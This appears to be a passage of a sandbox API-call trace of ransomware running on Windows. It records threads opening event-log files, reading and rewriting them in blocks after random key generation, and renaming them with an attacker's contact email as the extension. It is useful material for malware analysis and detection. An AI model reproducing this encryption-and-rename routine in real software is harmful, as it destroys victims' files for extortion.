	[0080.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.357] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0080.357] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.357] ReadFile (in: hFile=0x1318, lpBuffer=0x4eeb010, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x117bf930, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesRead=0x117bf930*=0xc800, lpOverlapped=0x0) returned 1
	[0080.358] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad18
	[0080.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.359] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0080.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0080.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0080.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814e0) returned 1
	[0080.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad18) returned 1
	[0080.360] WriteFile (in: hFile=0x1318, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x117bf930, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x117bf930*=0xc800, lpOverlapped=0x0) returned 1
	[0080.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0080.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0080.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x99) returned 0x4986710
	[0080.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa850
	[0080.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0080.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0080.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0080.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x99) returned 0x49867b8
	[0080.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0080.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0080.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0080.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0080.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa850) returned 1
	[0080.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x17d) returned 0x2e02570
	[0080.362] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.363] WriteFile (in: hFile=0x1318, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x17d, lpNumberOfBytesWritten=0x117bf9b0, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x117bf9b0*=0x17d, lpOverlapped=0x0) returned 1
	[0080.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0080.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49867b8) returned 1
	[0080.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0080.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986710) returned 1
	[0080.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0080.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0080.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0080.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0080.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e3b840
	[0080.365] wcscpy (in: _Dest=0x2e3b840, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx"
	[0080.365] wcscat (in: _Dest=0x2e3b840, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.365] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x117bf968, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x47ccc98
	[0080.365] NtSetInformationFile (FileHandle=0x1318, IoStatusBlock=0x117bf960, FileInformation=0x47ccc98, Length=0xfa, FileInformationClass=0xa) 

Thread:
	id = 431
	os_tid = 0x15e4

	[0076.966] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20
	[0080.477] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.477] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x990
	[0080.477] GetFileSizeEx (in: hFile=0x990, lpFileSize=0x1183f8b0 | out: lpFileSize=0x1183f8b0*=69632) returned 1
	[0080.477] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.477] ReadFile (in: hFile=0x990, lpBuffer=0x1183f834, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1183f830, lpOverlapped=0x0 | out: lpBuffer=0x1183f834*, lpNumberOfBytesRead=0x1183f830*=0x4, lpOverlapped=0x0) returned 1
	[0080.926] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0080.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0080.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773d0
	[0080.926] NtQuerySystemTime (in: CurrentTime=0x1183f810 | out: CurrentTime=0x1183f810*=132251868076560682) returned 0x0
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xac19cca3
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x60f213ef
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xc6d9d834
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xfdba5bc6
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x7eb5cf5f
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x875efd84
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x58176532
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x9bf5eaa4
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x48a47042
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x780f6f6e
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x4784ee50
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xe6aeee4f
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x52155bf3
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xb1b8acd5
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xac504799
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xf432c598
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x93aef032
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xde153e83
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xf2ae988f
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xa2b7ed8f
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xa3129f55
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xa4b1dc84
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x7a498097
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x7a4f2cb2
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xf0de4b03
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x3e32cfe6
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xb1f3ca38
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x560e0678
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x927e5df5
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x6e782882
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0x412d535a
	[0080.926] RtlRandom (in: Seed=0x1183f81c | out: Seed=0x1183f81c) returned 0xf3b3f4af
	[0080.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773f8
	[0080.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0080.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773d0) returned 1
	[0080.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0080.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4813000
	[0080.938] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.938] ReadFile (in: hFile=0x990, lpBuffer=0x4813000, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1183f7f0, lpOverlapped=0x0 | out: lpBuffer=0x4813000*, lpNumberOfBytesRead=0x1183f7f0*=0xc800, lpOverlapped=0x0) returned 1
	[0081.135] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.135] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0081.135] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.135] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338c0
	[0081.135] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338c0) returned 1
	[0081.136] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5004818
	[0081.139] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ca8
	[0081.139] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0081.139] WriteFile (in: hFile=0x990, lpBuffer=0x5004818*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1183f7f0, lpOverlapped=0x0 | out: lpBuffer=0x5004818*, lpNumberOfBytesWritten=0x1183f7f0*=0xc800, lpOverlapped=0x0) returned 1
	[0081.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5004818) returned 1
	[0081.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4813000) returned 1
	[0081.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa5) returned 0x2d5cf38
	[0081.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf58
	[0081.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0081.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0081.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0081.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa5) returned 0x2d5d828
	[0081.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33cd0
	[0081.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0081.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0081.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0081.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf58) returned 1
	[0081.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x189) returned 0x4731b68
	[0081.264] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.265] WriteFile (in: hFile=0x990, lpBuffer=0x4731b68*, nNumberOfBytesToWrite=0x189, lpNumberOfBytesWritten=0x1183f870, lpOverlapped=0x0 | out: lpBuffer=0x4731b68*, lpNumberOfBytesWritten=0x1183f870*=0x189, lpOverlapped=0x0) returned 1
	[0081.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b68) returned 1
	[0081.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d828) returned 1
	[0081.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0081.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5cf38) returned 1
	[0081.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ca8) returned 1
	[0081.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0081.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773f8) returned 1
	[0081.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0081.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4751d88
	[0081.312] wcscpy (in: _Dest=0x4751d88, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx"
	[0081.312] wcscat (in: _Dest=0x4751d88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.312] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1183f828, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4716d10
	[0081.312] NtSetInformationFile (FileHandle=0x990, IoStatusBlock=0x1183f820, FileInformation=0x4716d10, Length=0x106, FileInformationClass=0xa) returned 0x0
	[0087.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716d10) returned 1
	[0087.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765f10) returned 1
	[0087.769] NtQueryInformationFile (in: FileHandle=0x990, IoStatusBlock=0x1183f834, FileInformation=0x1183f80c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1183f834, FileInformation=0x1183f80c) returned 0x0
	[0087.769] NtSetInformationFile (FileHandle=0x990, IoStatusBlock=0x1183f834, FileInformation=0x1183f80c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751d88) returned 1
	[0087.771] FlushFileBuffers (hFile=0x990) returned 1
	[0092.865] CloseHandle (hObject=0x990) 

Thread:
	id = 432
	os_tid = 0x15e8

	[0076.966] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20
	[0080.478] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.478] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x668
	[0080.479] GetFileSizeEx (in: hFile=0x668, lpFileSize=0x118bfad8 | out: lpFileSize=0x118bfad8*=69632) returned 1
	[0080.479] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.479] ReadFile (in: hFile=0x668, lpBuffer=0x118bfa5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x118bfa58, lpOverlapped=0x0 | out: lpBuffer=0x118bfa5c*, lpNumberOfBytesRead=0x118bfa58*=0x4, lpOverlapped=0x0) returned 1
	[0080.954] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0080.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0080.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0080.955] NtQuerySystemTime (in: CurrentTime=0x118bfa38 | out: CurrentTime=0x118bfa38*=132251868076869796) returned 0x0
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xfab323be
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xbb4c5164
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xdbafe487
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x6624831f
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x59ae0cd2
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x1a497f5f
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xc9cd97d5
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xe8a6a3d6
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x809c436e
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xce229f26
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x6a0592c9
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x4d8320c2
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x794d4c2c
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xc934fbb
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x831fa750
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x18aef10d
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xa3e1b4be
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x28842343
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x222ebcfa
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x9603e572
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x6319287e
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x57d4e718
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xd64a01f4
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x93aff7e5
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xbc3e79b6
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x382e936a
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xf0f5965a
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xf81b7e64
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x2311430f
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0x84d16253
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xdbd7ffe9
	[0080.955] RtlRandom (in: Seed=0x118bfa44 | out: Seed=0x118bfa44) returned 0xe46067a5
	[0080.962] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0080.964] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.964] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0080.964] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.964] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0080.964] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0080.964] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x482c010
	[0080.967] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.967] ReadFile (in: hFile=0x668, lpBuffer=0x482c010, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x118bfa18, lpOverlapped=0x0 | out: lpBuffer=0x482c010*, lpNumberOfBytesRead=0x118bfa18*=0xc800, lpOverlapped=0x0) returned 1
	[0081.147] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.147] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.147] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.147] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.147] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x501d828
	[0081.151] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.151] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.151] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.151] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.151] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.151] WriteFile (in: hFile=0x668, lpBuffer=0x501d828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x118bfa18, lpOverlapped=0x0 | out: lpBuffer=0x501d828*, lpNumberOfBytesWritten=0x118bfa18*=0xc800, lpOverlapped=0x0) returned 1
	[0081.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x501d828) returned 1
	[0081.277] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x482c010) returned 1
